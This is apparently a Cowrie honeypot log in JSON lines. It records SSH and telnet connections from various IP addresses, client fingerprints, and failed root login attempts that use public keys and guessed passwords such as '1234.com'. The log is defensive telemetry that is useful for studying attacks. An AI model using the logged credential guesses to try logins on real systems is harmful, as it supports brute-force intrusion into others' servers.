{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.063916Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.239209Z","src_ip":"62.193.106.227","session":"12f245484b05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:af:db:4d:f7:fb:fb:c6:5b:08:49:87:81:9d:82:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCbcziNP/lqVBKaKq07yOYUiLmBH5atf4h19FaeEGP8FPsY7pdrkbwk53jwMKPJs6U9i6p69Ynxx2G6UDI1FIX23O4CCJYjMi2zZ2nDbmUrBgQpbPNku8k0HAwJhPLt1beJfYSOe9muApXU6+Rj5taapCZRzaGOOi9ZuvgNSjnS9dPB55KMOVBOrMIpZjK14P8IK2A1CdZzPzByhyxrViMuwYVlnYzeUgrDye8qoUDQni2VzdUuV7xOLVKsD49iuBKw4F8EERQEX38IuYtyg3HJbVWaRJSuIFGGydvkmGkoO3W2SjiknK/y5cUrG8mu+pr4gWjLYqJmHpcDgB0MHk/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:af:db:4d:f7:fb:fb:c6:5b:08:49:87:81:9d:82:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.466568Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:af:db:4d:f7:fb:fb:c6:5b:08:49:87:81:9d:82:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCbcziNP/lqVBKaKq07yOYUiLmBH5atf4h19FaeEGP8FPsY7pdrkbwk53jwMKPJs6U9i6p69Ynxx2G6UDI1FIX23O4CCJYjMi2zZ2nDbmUrBgQpbPNku8k0HAwJhPLt1beJfYSOe9muApXU6+Rj5taapCZRzaGOOi9ZuvgNSjnS9dPB55KMOVBOrMIpZjK14P8IK2A1CdZzPzByhyxrViMuwYVlnYzeUgrDye8qoUDQni2VzdUuV7xOLVKsD49iuBKw4F8EERQEX38IuYtyg3HJbVWaRJSuIFGGydvkmGkoO3W2SjiknK/y5cUrG8mu+pr4gWjLYqJmHpcDgB0MHk/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.470419Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:d9:c1:be:b5:e4:e5:88:60:8c:fa:dd:21:20:05:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7LDNwUcPW9cE/vFdC6ODVBf0doNnXoUNtEkJ3xtl7r7MjptblUF3Lor7gMhHpZU9qY3c+nVIzEby9G0dRZe3nDANQD62w1qzmWUIYqY2WTYDOrdTE4t68A3YkhZZS9PgiCbyigdTXr78Q1yWoofPVkcG1CQHpJPDm0CrusoWrhGujwsfisThTqwaScfwc5MjgNNrAECkXC6eBWCOYDhq83Y8eLO3WvEaiQIxPDKkrIHViTfrUJN6uFx41588UWC7FroGiymQDR1WUkjoMfoph/4UKemNB0AMNRFT7NxynrcoVYifQD/Vk7Iwk2QJBNyhBQGIGFiIQj/XBRT9vhsM6i+QeOswc1t3GazQBQINo0C5RlslGDEumyH5bQzxqEPndhg7h+IwWqLGmamcmzxFP/ul2D8rObLppQpECSqOJJ/Nobk0uN9Ze/i5WKrx9JpFmIj0ZSPF30PWuGdXI/Npvce/tUAF6HW4MqS4XlT5pfqjd3LDZA/nu7vxVjmRDuhE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:d9:c1:be:b5:e4:e5:88:60:8c:fa:dd:21:20:05:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.559965Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:d9:c1:be:b5:e4:e5:88:60:8c:fa:dd:21:20:05:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7LDNwUcPW9cE/vFdC6ODVBf0doNnXoUNtEkJ3xtl7r7MjptblUF3Lor7gMhHpZU9qY3c+nVIzEby9G0dRZe3nDANQD62w1qzmWUIYqY2WTYDOrdTE4t68A3YkhZZS9PgiCbyigdTXr78Q1yWoofPVkcG1CQHpJPDm0CrusoWrhGujwsfisThTqwaScfwc5MjgNNrAECkXC6eBWCOYDhq83Y8eLO3WvEaiQIxPDKkrIHViTfrUJN6uFx41588UWC7FroGiymQDR1WUkjoMfoph/4UKemNB0AMNRFT7NxynrcoVYifQD/Vk7Iwk2QJBNyhBQGIGFiIQj/XBRT9vhsM6i+QeOswc1t3GazQBQINo0C5RlslGDEumyH5bQzxqEPndhg7h+IwWqLGmamcmzxFP/ul2D8rObLppQpECSqOJJ/Nobk0uN9Ze/i5WKrx9JpFmIj0ZSPF30PWuGdXI/Npvce/tUAF6HW4MqS4XlT5pfqjd3LDZA/nu7vxVjmRDuhE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.563336Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:8b:89:22:f4:85:39:1c:3a:33:53:41:19:b7:b7:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpjrcdnK4A8sBbEsrzTdenQVLyM2KBp7UOG+aEI7vvC0XFsrzXlnHlhWiWR6uCHQJrEh0FuruFRd+qK8IRPoqlBKy2T6XUPoN+V4e9YRd2JL1LPCy+s1xMwvl16dYicLs6htoNeo/puukA/isUv0dx5w5f2ZOdVw+cDOknxA7/tp+qB19DoV9d79IxXta/iiVjDYEkR3tbNtQXG173EQePDSXzrI6wIDw9WXQyRhGHnUFLelcTYer17ZVTtiDrdamp0Mp9nMrcMdhQNd3glHJX2SkgEsbbTrjTWBmSlWRviNahDox3RGXhE46KKcaUpWt6C5SQfqJdaOtpvi4lHlc7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b0:8b:89:22:f4:85:39:1c:3a:33:53:41:19:b7:b7:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.647325Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:8b:89:22:f4:85:39:1c:3a:33:53:41:19:b7:b7:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpjrcdnK4A8sBbEsrzTdenQVLyM2KBp7UOG+aEI7vvC0XFsrzXlnHlhWiWR6uCHQJrEh0FuruFRd+qK8IRPoqlBKy2T6XUPoN+V4e9YRd2JL1LPCy+s1xMwvl16dYicLs6htoNeo/puukA/isUv0dx5w5f2ZOdVw+cDOknxA7/tp+qB19DoV9d79IxXta/iiVjDYEkR3tbNtQXG173EQePDSXzrI6wIDw9WXQyRhGHnUFLelcTYer17ZVTtiDrdamp0Mp9nMrcMdhQNd3glHJX2SkgEsbbTrjTWBmSlWRviNahDox3RGXhE46KKcaUpWt6C5SQfqJdaOtpvi4lHlc7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.653100Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:81:33:ff:7a:e2:40:2b:45:c9:1d:98:cc:c8:d8:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl3MMOiIBjHktXZF+2wXLwEibv8cofCIXBjPN6OLd0c8mtCiuoKy3Tf8qV1anQ0LQ360Jg5B1rvYoH4BRbjRbRyMAOI0D8A4FFwosdQXyR91fDIWjv3qSjq6C8O4l9DHXZXsocR33i3Rzbk8V3/+Qjq0ZCmv8u4xlTuMoSLAk38va5pTa0Ud5dZZXdVGzj9LMKG1OB6PAjKQnU7oT0Y727F0AcFCOU2ml/qyOVBFuEkWq6hs1PqLXWvh0HvGpZ0GYf11CQBl6+80DI6cnqcq6PPGKw2QEfKXrNhJArJ1Tbn8G3cQNTbmN34SeD+zdSOoPf6nS6639hBGLMcFt+hApZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:81:33:ff:7a:e2:40:2b:45:c9:1d:98:cc:c8:d8:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.738435Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:81:33:ff:7a:e2:40:2b:45:c9:1d:98:cc:c8:d8:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl3MMOiIBjHktXZF+2wXLwEibv8cofCIXBjPN6OLd0c8mtCiuoKy3Tf8qV1anQ0LQ360Jg5B1rvYoH4BRbjRbRyMAOI0D8A4FFwosdQXyR91fDIWjv3qSjq6C8O4l9DHXZXsocR33i3Rzbk8V3/+Qjq0ZCmv8u4xlTuMoSLAk38va5pTa0Ud5dZZXdVGzj9LMKG1OB6PAjKQnU7oT0Y727F0AcFCOU2ml/qyOVBFuEkWq6hs1PqLXWvh0HvGpZ0GYf11CQBl6+80DI6cnqcq6PPGKw2QEfKXrNhJArJ1Tbn8G3cQNTbmN34SeD+zdSOoPf6nS6639hBGLMcFt+hApZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.741701Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:13:53:62:93:5f:c7:e8:c2:02:d1:0c:05:4d:b3:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCybvBPsvrpTxBr8ASyvYVQmZ5K2iIZVvVzv/uti2Lq5J/v5AW515hH6uR6euYuoQIek8ynuJtswTSA7y87JtZwos4KeBXqnf6RUGX8jz00dEreZ8ixGRWJnjprIulF+uNovW6NI1CAT6SBRVPFvn41DVyPOYcYvsB7ceWPY8GRiyZM4p6SayoVzto0i4PD/Vq3GhoqKmiA2wycvzGQ+Lg13h3sifbKUwuj9aZJwE3mvJqEmqN7WxPdnhjjG5bBuw/8BHC9iEHLiH+ylhk3FEOg5cHjtk3jCLInIBM2GRMpMpX/DWyk5gEcWmWq6640leARZoWw0UG9dSuGSGQwJsNhrHMciRgGtkndzwrTgogrfp6lTYrSeq75bAjvSL0+rhZwchKh2dan8skIhj23aEAIKD6KWHdq6S1z3WZGXGV9c86Rhw6ouUyrpsPSUx79iXijeWlML2E16IRBCfiTwto4U4D6NodSWCs5MlB4GWXJ2+QNv+XkaeVlhj+YtyJzrUpiBOoEdHTqpqPOJrfLhRFUcXFzyzbsWYCv9g34PKt5JKO15bsrqMuW/oaNqAxyfwXbCHiQ9ZDWZDIca80bSET063srjz85sG0UPe4aecnP6Nnx6LvcSQg35idCvbFbjhoon+uWQnr1ZzwjGMBtHPPQls+o/xYPqncJvtWhebBkPQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:13:53:62:93:5f:c7:e8:c2:02:d1:0c:05:4d:b3:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.826070Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:13:53:62:93:5f:c7:e8:c2:02:d1:0c:05:4d:b3:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCybvBPsvrpTxBr8ASyvYVQmZ5K2iIZVvVzv/uti2Lq5J/v5AW515hH6uR6euYuoQIek8ynuJtswTSA7y87JtZwos4KeBXqnf6RUGX8jz00dEreZ8ixGRWJnjprIulF+uNovW6NI1CAT6SBRVPFvn41DVyPOYcYvsB7ceWPY8GRiyZM4p6SayoVzto0i4PD/Vq3GhoqKmiA2wycvzGQ+Lg13h3sifbKUwuj9aZJwE3mvJqEmqN7WxPdnhjjG5bBuw/8BHC9iEHLiH+ylhk3FEOg5cHjtk3jCLInIBM2GRMpMpX/DWyk5gEcWmWq6640leARZoWw0UG9dSuGSGQwJsNhrHMciRgGtkndzwrTgogrfp6lTYrSeq75bAjvSL0+rhZwchKh2dan8skIhj23aEAIKD6KWHdq6S1z3WZGXGV9c86Rhw6ouUyrpsPSUx79iXijeWlML2E16IRBCfiTwto4U4D6NodSWCs5MlB4GWXJ2+QNv+XkaeVlhj+YtyJzrUpiBOoEdHTqpqPOJrfLhRFUcXFzyzbsWYCv9g34PKt5JKO15bsrqMuW/oaNqAxyfwXbCHiQ9ZDWZDIca80bSET063srjz85sG0UPe4aecnP6Nnx6LvcSQg35idCvbFbjhoon+uWQnr1ZzwjGMBtHPPQls+o/xYPqncJvtWhebBkPQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.828735Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:43.912996Z","src_ip":"102.129.200.101","session":"a5d8d4560617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":56522,"dst_ip":"10.17.0.5","dst_port":22,"session":"5795bde61104","protocol":"ssh","message":"New connection: 43.159.35.21:56522 (10.17.0.5:22) [session: 5795bde61104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:48.363058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:48.366839Z","src_ip":"43.159.35.21","session":"5795bde61104","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:48.597718Z","src_ip":"43.159.35.21","session":"5795bde61104","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:49.556745Z","src_ip":"43.159.35.21","session":"5795bde61104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:50.791131Z","src_ip":"43.159.35.21","session":"5795bde61104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":52360,"dst_ip":"159.203.135.109","dst_port":22,"session":"08195f4dfc25","protocol":"ssh","message":"New connection: 43.159.169.93:52360 (159.203.135.109:22) [session: 08195f4dfc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:51.212242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:51.220296Z","src_ip":"43.159.169.93","session":"08195f4dfc25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:51.288239Z","src_ip":"43.159.169.93","session":"08195f4dfc25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD!@#","message":"login attempt [root/123asdASD!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:51.590382Z","src_ip":"43.159.169.93","session":"08195f4dfc25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:52.661880Z","src_ip":"43.159.169.93","session":"08195f4dfc25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41572,"dst_ip":"10.17.0.5","dst_port":23,"session":"08b929b28b96","protocol":"telnet","message":"New connection: 152.42.224.71:41572 (10.17.0.5:23) [session: 08b929b28b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:57.021619Z"}
{"eventid":"cowrie.session.closed","duration":26.609841108322144,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:57.648055Z","src_ip":"152.42.224.71","session":"7a93bf15b02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41586,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6c1c2bb7eee","protocol":"telnet","message":"New connection: 152.42.224.71:41586 (10.17.0.5:23) [session: a6c1c2bb7eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:56:58.836618Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":58488,"dst_ip":"10.17.0.5","dst_port":22,"session":"df6ff02c8f61","protocol":"ssh","message":"New connection: 43.153.22.143:58488 (10.17.0.5:22) [session: df6ff02c8f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:01.979912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:01.986252Z","src_ip":"43.153.22.143","session":"df6ff02c8f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:02.058362Z","src_ip":"43.153.22.143","session":"df6ff02c8f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1z2x3c4v5b6n7m","message":"login attempt [root/1z2x3c4v5b6n7m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:02.369165Z","src_ip":"43.153.22.143","session":"df6ff02c8f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39633059501648,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:02.821404Z","src_ip":"152.42.224.71","session":"045b99c1433e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.442400Z","src_ip":"43.153.22.143","session":"df6ff02c8f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":43896,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e903ea83480","protocol":"ssh","message":"New connection: 79.132.141.112:43896 (10.17.0.5:22) [session: 9e903ea83480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.581732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:57:03.585078Z","src_ip":"79.132.141.112","session":"9e903ea83480","protocol":"ssh"}
